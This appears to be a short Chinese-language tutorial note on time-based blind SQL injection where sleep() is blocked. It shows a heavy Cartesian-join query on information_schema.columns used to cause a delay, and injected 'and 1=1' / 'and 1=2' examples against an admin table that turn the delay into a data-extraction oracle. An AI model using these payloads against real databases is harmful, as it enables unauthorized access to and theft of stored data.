当一个时间盲注中不能用sleep等函数的时候,为了达到延时的效果,可以查询一些量比较大的表做笛卡尔集运算,导致查询缓慢。
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C
出数据的话,就利用and的性质来判断,一般会有这样的性质
if a and b:
xxx
如果a的条件为假的时候,其实b就不会运行了,这个判断永远是假。如果a为真的时候,就会继续去判断b是不是为真。
所以可以这样出数据
select * from admin where id=1 and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
有延时
select * from admin where id=1 and 1=2 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);